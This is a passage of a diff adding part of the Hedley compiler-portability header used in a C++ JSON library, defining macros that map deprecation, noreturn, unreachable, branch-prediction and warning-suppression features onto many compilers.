JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS _Pragma("clang diagnostic ignored \"-Wunknown-pragmas\"") +#elif JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS _Pragma("warning(disable:161)") +#elif JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS __pragma(warning(disable:161)) +#elif JSON_HEDLEY_PGI_VERSION_CHECK(17,10,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS _Pragma("diag_suppress 1675") +#elif JSON_HEDLEY_GCC_VERSION_CHECK(4,3,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS _Pragma("GCC diagnostic ignored \"-Wunknown-pragmas\"") +#elif JSON_HEDLEY_MSVC_VERSION_CHECK(15,0,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS __pragma(warning(disable:4068)) +#elif \ + JSON_HEDLEY_TI_VERSION_CHECK(16,9,0) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(8,0,0) || \ + JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \ + JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,3,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS _Pragma("diag_suppress 163") +#elif JSON_HEDLEY_TI_CL6X_VERSION_CHECK(8,0,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS _Pragma("diag_suppress 163") +#elif JSON_HEDLEY_IAR_VERSION_CHECK(8,0,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS _Pragma("diag_suppress=Pe161") +#else + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS +#endif + +#if defined(JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES) + #undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES +#endif +#if JSON_HEDLEY_HAS_WARNING("-Wunknown-attributes") + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES _Pragma("clang diagnostic ignored \"-Wunknown-attributes\"") +#elif JSON_HEDLEY_GCC_VERSION_CHECK(4,6,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES _Pragma("GCC diagnostic ignored \"-Wdeprecated-declarations\"") +#elif JSON_HEDLEY_INTEL_VERSION_CHECK(17,0,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES _Pragma("warning(disable:1292)") +#elif JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES __pragma(warning(disable:1292)) +#elif JSON_HEDLEY_MSVC_VERSION_CHECK(19,0,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES __pragma(warning(disable:5030)) +#elif JSON_HEDLEY_PGI_VERSION_CHECK(20,7,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES _Pragma("diag_suppress 1097,1098") +#elif JSON_HEDLEY_PGI_VERSION_CHECK(17,10,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES _Pragma("diag_suppress 1097") +#elif JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,14,0) && defined(__cplusplus) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES _Pragma("error_messages(off,attrskipunsup)") +#elif \ + JSON_HEDLEY_TI_VERSION_CHECK(18,1,0) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(8,3,0) || \ + JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES _Pragma("diag_suppress 1173") +#elif JSON_HEDLEY_IAR_VERSION_CHECK(8,0,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES _Pragma("diag_suppress=Pe1097") +#else + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES +#endif + +#if defined(JSON_HEDLEY_DIAGNOSTIC_DISABLE_CAST_QUAL) + #undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_CAST_QUAL +#endif +#if JSON_HEDLEY_HAS_WARNING("-Wcast-qual") + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_CAST_QUAL _Pragma("clang diagnostic ignored \"-Wcast-qual\"") +#elif JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_CAST_QUAL _Pragma("warning(disable:2203 2331)") +#elif JSON_HEDLEY_GCC_VERSION_CHECK(3,0,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_CAST_QUAL _Pragma("GCC diagnostic ignored \"-Wcast-qual\"") +#else + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_CAST_QUAL +#endif + +#if defined(JSON_HEDLEY_DEPRECATED) + #undef JSON_HEDLEY_DEPRECATED +#endif +#if defined(JSON_HEDLEY_DEPRECATED_FOR) + #undef JSON_HEDLEY_DEPRECATED_FOR +#endif +#if \ + JSON_HEDLEY_MSVC_VERSION_CHECK(14,0,0) || \ + JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0) + #define JSON_HEDLEY_DEPRECATED(since) __declspec(deprecated("Since " # since)) + #define JSON_HEDLEY_DEPRECATED_FOR(since, replacement) __declspec(deprecated("Since " #since "; use " #replacement)) +#elif \ + JSON_HEDLEY_HAS_EXTENSION(attribute_deprecated_with_message) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(4,5,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(5,6,0) || \ + JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,13,0) || \ + JSON_HEDLEY_PGI_VERSION_CHECK(17,10,0) || \ + JSON_HEDLEY_TI_VERSION_CHECK(18,1,0) || \ + JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(18,1,0) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(8,3,0) || \ + JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \ + JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,3,0) + #define JSON_HEDLEY_DEPRECATED(since) __attribute__((__deprecated__("Since " #since))) + #define JSON_HEDLEY_DEPRECATED_FOR(since, replacement) __attribute__((__deprecated__("Since " #since "; use " #replacement))) +#elif defined(__cplusplus) && (__cplusplus >= 201402L) + #define JSON_HEDLEY_DEPRECATED(since) JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_([[deprecated("Since " #since)]]) + #define JSON_HEDLEY_DEPRECATED_FOR(since, replacement) JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_([[deprecated("Since " #since "; use " #replacement)]]) +#elif \ + JSON_HEDLEY_HAS_ATTRIBUTE(deprecated) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(3,1,0) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \ + JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \ + (JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,8,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \ + (JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \ + (JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \ + (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) || \ + JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \ + JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) + #define JSON_HEDLEY_DEPRECATED(since) __attribute__((__deprecated__)) + #define JSON_HEDLEY_DEPRECATED_FOR(since, replacement) __attribute__((__deprecated__)) +#elif \ + JSON_HEDLEY_MSVC_VERSION_CHECK(13,10,0) || \ + JSON_HEDLEY_PELLES_VERSION_CHECK(6,50,0) || \ + JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0) + #define JSON_HEDLEY_DEPRECATED(since) __declspec(deprecated) + #define JSON_HEDLEY_DEPRECATED_FOR(since, replacement) __declspec(deprecated) +#elif JSON_HEDLEY_IAR_VERSION_CHECK(8,0,0) + #define JSON_HEDLEY_DEPRECATED(since) _Pragma("deprecated") + #define JSON_HEDLEY_DEPRECATED_FOR(since, replacement) _Pragma("deprecated") +#else + #define JSON_HEDLEY_DEPRECATED(since) + #define JSON_HEDLEY_DEPRECATED_FOR(since, replacement) +#endif + +#if defined(JSON_HEDLEY_UNAVAILABLE) + #undef JSON_HEDLEY_UNAVAILABLE +#endif +#if \ + JSON_HEDLEY_HAS_ATTRIBUTE(warning) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(4,3,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) + #define JSON_HEDLEY_UNAVAILABLE(available_since) __attribute__((__warning__("Not available until " #available_since))) +#else + #define JSON_HEDLEY_UNAVAILABLE(available_since) +#endif + +#if defined(JSON_HEDLEY_WARN_UNUSED_RESULT) + #undef JSON_HEDLEY_WARN_UNUSED_RESULT +#endif +#if defined(JSON_HEDLEY_WARN_UNUSED_RESULT_MSG) + #undef JSON_HEDLEY_WARN_UNUSED_RESULT_MSG +#endif +#if \ + JSON_HEDLEY_HAS_ATTRIBUTE(warn_unused_result) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(3,4,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \ + JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \ + (JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,8,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \ + (JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \ + (JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \ + (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) || \ + JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \ + JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) || \ + (JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,15,0) && defined(__cplusplus)) || \ + JSON_HEDLEY_PGI_VERSION_CHECK(17,10,0) + #define JSON_HEDLEY_WARN_UNUSED_RESULT __attribute__((__warn_unused_result__)) + #define JSON_HEDLEY_WARN_UNUSED_RESULT_MSG(msg) __attribute__((__warn_unused_result__)) +#elif (JSON_HEDLEY_HAS_CPP_ATTRIBUTE(nodiscard) >= 201907L) + #define JSON_HEDLEY_WARN_UNUSED_RESULT JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_([[nodiscard]]) + #define JSON_HEDLEY_WARN_UNUSED_RESULT_MSG(msg) JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_([[nodiscard(msg)]]) +#elif JSON_HEDLEY_HAS_CPP_ATTRIBUTE(nodiscard) + #define JSON_HEDLEY_WARN_UNUSED_RESULT JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_([[nodiscard]]) + #define JSON_HEDLEY_WARN_UNUSED_RESULT_MSG(msg) JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_([[nodiscard]]) +#elif defined(_Check_return_) /* SAL */ + #define JSON_HEDLEY_WARN_UNUSED_RESULT _Check_return_ + #define JSON_HEDLEY_WARN_UNUSED_RESULT_MSG(msg) _Check_return_ +#else + #define JSON_HEDLEY_WARN_UNUSED_RESULT + #define JSON_HEDLEY_WARN_UNUSED_RESULT_MSG(msg) +#endif + +#if defined(JSON_HEDLEY_SENTINEL) + #undef JSON_HEDLEY_SENTINEL +#endif +#if \ + JSON_HEDLEY_HAS_ATTRIBUTE(sentinel) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(4,0,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(5,4,0) + #define JSON_HEDLEY_SENTINEL(position) __attribute__((__sentinel__(position))) +#else + #define JSON_HEDLEY_SENTINEL(position) +#endif + +#if defined(JSON_HEDLEY_NO_RETURN) + #undef JSON_HEDLEY_NO_RETURN +#endif +#if JSON_HEDLEY_IAR_VERSION_CHECK(8,0,0) + #define JSON_HEDLEY_NO_RETURN __noreturn +#elif JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) + #define JSON_HEDLEY_NO_RETURN __attribute__((__noreturn__)) +#elif defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L + #define JSON_HEDLEY_NO_RETURN _Noreturn +#elif defined(__cplusplus) && (__cplusplus >= 201103L) + #define JSON_HEDLEY_NO_RETURN JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_([[noreturn]]) +#elif \ + JSON_HEDLEY_HAS_ATTRIBUTE(noreturn) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(3,2,0) || \ + JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,11,0) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \ + JSON_HEDLEY_IBM_VERSION_CHECK(10,1,0) || \ + JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \ + (JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,8,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \ + (JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \ + (JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \ + (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) || \ + JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \ + JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) + #define JSON_HEDLEY_NO_RETURN __attribute__((__noreturn__)) +#elif JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,10,0) + #define JSON_HEDLEY_NO_RETURN _Pragma("does_not_return") +#elif \ + JSON_HEDLEY_MSVC_VERSION_CHECK(13,10,0) || \ + JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0) + #define JSON_HEDLEY_NO_RETURN __declspec(noreturn) +#elif JSON_HEDLEY_TI_CL6X_VERSION_CHECK(6,0,0) && defined(__cplusplus) + #define JSON_HEDLEY_NO_RETURN _Pragma("FUNC_NEVER_RETURNS;") +#elif JSON_HEDLEY_COMPCERT_VERSION_CHECK(3,2,0) + #define JSON_HEDLEY_NO_RETURN __attribute((noreturn)) +#elif JSON_HEDLEY_PELLES_VERSION_CHECK(9,0,0) + #define JSON_HEDLEY_NO_RETURN __declspec(noreturn) +#else + #define JSON_HEDLEY_NO_RETURN +#endif + +#if defined(JSON_HEDLEY_NO_ESCAPE) + #undef JSON_HEDLEY_NO_ESCAPE +#endif +#if JSON_HEDLEY_HAS_ATTRIBUTE(noescape) + #define JSON_HEDLEY_NO_ESCAPE __attribute__((__noescape__)) +#else + #define JSON_HEDLEY_NO_ESCAPE +#endif + +#if defined(JSON_HEDLEY_UNREACHABLE) + #undef JSON_HEDLEY_UNREACHABLE +#endif +#if defined(JSON_HEDLEY_UNREACHABLE_RETURN) + #undef JSON_HEDLEY_UNREACHABLE_RETURN +#endif +#if defined(JSON_HEDLEY_ASSUME) + #undef JSON_HEDLEY_ASSUME +#endif +#if \ + JSON_HEDLEY_MSVC_VERSION_CHECK(13,10,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \ + JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0) + #define JSON_HEDLEY_ASSUME(expr) __assume(expr) +#elif JSON_HEDLEY_HAS_BUILTIN(__builtin_assume) + #define JSON_HEDLEY_ASSUME(expr) __builtin_assume(expr) +#elif \ + JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,2,0) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(4,0,0) + #if defined(__cplusplus) + #define JSON_HEDLEY_ASSUME(expr) std::_nassert(expr) + #else + #define JSON_HEDLEY_ASSUME(expr) _nassert(expr) + #endif +#endif +#if \ + (JSON_HEDLEY_HAS_BUILTIN(__builtin_unreachable) && (!defined(JSON_HEDLEY_ARM_VERSION))) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(4,5,0) || \ + JSON_HEDLEY_PGI_VERSION_CHECK(18,10,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \ + JSON_HEDLEY_IBM_VERSION_CHECK(13,1,5) + #define JSON_HEDLEY_UNREACHABLE() __builtin_unreachable() +#elif defined(JSON_HEDLEY_ASSUME) + #define JSON_HEDLEY_UNREACHABLE() JSON_HEDLEY_ASSUME(0) +#endif +#if !defined(JSON_HEDLEY_ASSUME) + #if defined(JSON_HEDLEY_UNREACHABLE) + #define JSON_HEDLEY_ASSUME(expr) JSON_HEDLEY_STATIC_CAST(void, ((expr) ? 1 : (JSON_HEDLEY_UNREACHABLE(), 1))) + #else + #define JSON_HEDLEY_ASSUME(expr) JSON_HEDLEY_STATIC_CAST(void, expr) + #endif +#endif +#if defined(JSON_HEDLEY_UNREACHABLE) + #if \ + JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,2,0) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(4,0,0) + #define JSON_HEDLEY_UNREACHABLE_RETURN(value) return (JSON_HEDLEY_STATIC_CAST(void, JSON_HEDLEY_ASSUME(0)), (value)) + #else + #define JSON_HEDLEY_UNREACHABLE_RETURN(value) JSON_HEDLEY_UNREACHABLE() + #endif +#else + #define JSON_HEDLEY_UNREACHABLE_RETURN(value) return (value) +#endif +#if !defined(JSON_HEDLEY_UNREACHABLE) + #define JSON_HEDLEY_UNREACHABLE() JSON_HEDLEY_ASSUME(0) +#endif + +JSON_HEDLEY_DIAGNOSTIC_PUSH +#if JSON_HEDLEY_HAS_WARNING("-Wpedantic") + #pragma clang diagnostic ignored "-Wpedantic" +#endif +#if JSON_HEDLEY_HAS_WARNING("-Wc++98-compat-pedantic") && defined(__cplusplus) + #pragma clang diagnostic ignored "-Wc++98-compat-pedantic" +#endif +#if JSON_HEDLEY_GCC_HAS_WARNING("-Wvariadic-macros",4,0,0) + #if defined(__clang__) + #pragma clang diagnostic ignored "-Wvariadic-macros" + #elif defined(JSON_HEDLEY_GCC_VERSION) + #pragma GCC diagnostic ignored "-Wvariadic-macros" + #endif +#endif +#if defined(JSON_HEDLEY_NON_NULL) + #undef JSON_HEDLEY_NON_NULL +#endif +#if \ + JSON_HEDLEY_HAS_ATTRIBUTE(nonnull) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(3,3,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) + #define JSON_HEDLEY_NON_NULL(...) __attribute__((__nonnull__(__VA_ARGS__))) +#else + #define JSON_HEDLEY_NON_NULL(...) +#endif +JSON_HEDLEY_DIAGNOSTIC_POP + +#if defined(JSON_HEDLEY_PRINTF_FORMAT) + #undef JSON_HEDLEY_PRINTF_FORMAT +#endif +#if defined(__MINGW32__) && JSON_HEDLEY_GCC_HAS_ATTRIBUTE(format,4,4,0) && !defined(__USE_MINGW_ANSI_STDIO) + #define JSON_HEDLEY_PRINTF_FORMAT(string_idx,first_to_check) __attribute__((__format__(ms_printf, string_idx, first_to_check))) +#elif defined(__MINGW32__) && JSON_HEDLEY_GCC_HAS_ATTRIBUTE(format,4,4,0) && defined(__USE_MINGW_ANSI_STDIO) + #define JSON_HEDLEY_PRINTF_FORMAT(string_idx,first_to_check) __attribute__((__format__(gnu_printf, string_idx, first_to_check))) +#elif \ + JSON_HEDLEY_HAS_ATTRIBUTE(format) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(3,1,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(5,6,0) || \ + JSON_HEDLEY_IBM_VERSION_CHECK(10,1,0) || \ + JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \ + (JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,8,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \ + (JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \ + (JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \ + (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) || \ + JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \ + JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) + #define JSON_HEDLEY_PRINTF_FORMAT(string_idx,first_to_check) __attribute__((__format__(__printf__, string_idx, first_to_check))) +#elif JSON_HEDLEY_PELLES_VERSION_CHECK(6,0,0) + #define JSON_HEDLEY_PRINTF_FORMAT(string_idx,first_to_check) __declspec(vaformat(printf,string_idx,first_to_check)) +#else + #define JSON_HEDLEY_PRINTF_FORMAT(string_idx,first_to_check) +#endif + +#if defined(JSON_HEDLEY_CONSTEXPR) + #undef JSON_HEDLEY_CONSTEXPR +#endif +#if defined(__cplusplus) + #if __cplusplus >= 201103L + #define JSON_HEDLEY_CONSTEXPR JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_(constexpr) + #endif +#endif +#if !defined(JSON_HEDLEY_CONSTEXPR) + #define JSON_HEDLEY_CONSTEXPR +#endif + +#if defined(JSON_HEDLEY_PREDICT) + #undef JSON_HEDLEY_PREDICT +#endif +#if defined(JSON_HEDLEY_LIKELY) + #undef JSON_HEDLEY_LIKELY +#endif +#if defined(JSON_HEDLEY_UNLIKELY) + #undef JSON_HEDLEY_UNLIKELY +#endif +#if defined(JSON_HEDLEY_UNPREDICTABLE) + #undef JSON_HEDLEY_UNPREDICTABLE +#endif +#if JSON_HEDLEY_HAS_BUILTIN(__builtin_unpredictable) + #define JSON_HEDLEY_UNPREDICTABLE(expr) __builtin_unpredictable((expr)) +#endif +#if \ + (JSON_HEDLEY_HAS_BUILTIN(__builtin_expect_with_probability) && !defined(JSON_HEDLEY_PGI_VERSION)) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(9,0,0) +# define JSON_HEDLEY_PREDICT(expr, value, probability) __builtin_expect_with_probability( (expr), (value), (probability)) +# define JSON_HEDLEY_PREDICT_TRUE(expr, probability) __builtin_expect_with_probability(!!(expr), 1 , (probability)) +# define JSON_HEDLEY_PREDICT_FALSE(expr, probability) __builtin_expect_with_probability(!!(expr), 0 , (probability)) +# define JSON_HEDLEY_LIKELY(expr) __builtin_expect (!!(expr), 1 ) +# define JSON_HEDLEY_UNLIKELY(expr) __builtin_expect (!!(expr), 0 ) +#elif \ + (JSON_HEDLEY_HAS_BUILTIN(__builtin_expect) && !defined(JSON_HEDLEY_INTEL_CL_VERSION)) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(3,0,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \ + (JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,15,0) && defined(__cplusplus)) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \ + JSON_HEDLEY_IBM_VERSION_CHECK(10,1,0) || \ + JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \ + JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,7,0) || \ + JSON_HEDLEY_TI_CL430_VERSION_CHECK(3,1,0) || \ + JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,1,0) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(6,1,0) || \ + JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \ + JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) || \ + JSON_HEDLEY_TINYC_VERSION_CHECK(0,9,27) || \ + JSON_HEDLEY_CRAY_VERSION_CHECK(8,1,0) +# define JSON_HEDLEY_PREDICT(expr, expected, probability) \ + (((probability) >= 0.9) ? __builtin_expect((expr), (expected)) : (JSON_HEDLEY_STATIC_CAST(void, expected), (expr))) +# define JSON_HEDLEY_PREDICT_TRUE(expr, probability) \ + (__extension__ ({ \ + double hedley_probability_ = (probability); \ + ((hedley_probability_ >= 0.9) ? __builtin_expect(!!(expr), 1) : ((hedley_probability_ <= 0.1) ? __builtin_expect(!!(expr), 0) : !!(expr))); \ + })) +# define JSON_HEDLEY_PREDICT_FALSE(expr, probability) \ + (__extension__ ({ \ + double hedley_probability_ = (probability); \ + ((hedley_probability_ >= 0.9) ? __builtin_expect(!!(expr), 0) : ((hedley_probability_ <= 0.1) ? __builtin_expect(!!(expr), 1) : !!(expr))); \ + })) +# define JSON_HEDLEY_LIKELY(expr) __builtin_expect(!!(expr), 1) +# define JSON_HEDLEY_UNLIKELY(expr) __builtin_expect(!!(expr), 0) +#else +# define JSON_HEDLEY_PREDICT(expr, expected, probability) (JSON_HEDLEY_STATIC_CAST(void, expected), (expr)) +# define JSON_HEDLEY_PREDICT_TRUE(expr, probability) (!!(expr)) +# define JSON_HEDLEY_PREDICT_FALSE(expr, probability) (!!(expr)) +# define JSON_HEDLEY_LIKELY(expr) (!!(expr)) +# define JSON_HEDLEY_UNLIKELY(expr) (!!(expr)) +#endif +#if !defined(JSON_HEDLEY_UNPREDICTABLE) + #define JSON_HEDLEY_UNPREDICTABLE(expr) JSON_HEDLEY_PREDICT(expr, 1, 0.5) +#endif + +#if defined(JSON_HEDLEY_MALLOC) + #undef JSON_HEDLEY_MALLOC +#endif +#if \ + JSON_HEDLEY_HAS_ATTRIBUTE(malloc) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(3,1,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \ + JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,11,0) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \ + JSON_HEDLEY_IBM_VERSION_CHECK(12,1,0) || \ + JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \ + (JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,8,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \ + (JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \ + (JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \ + (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + 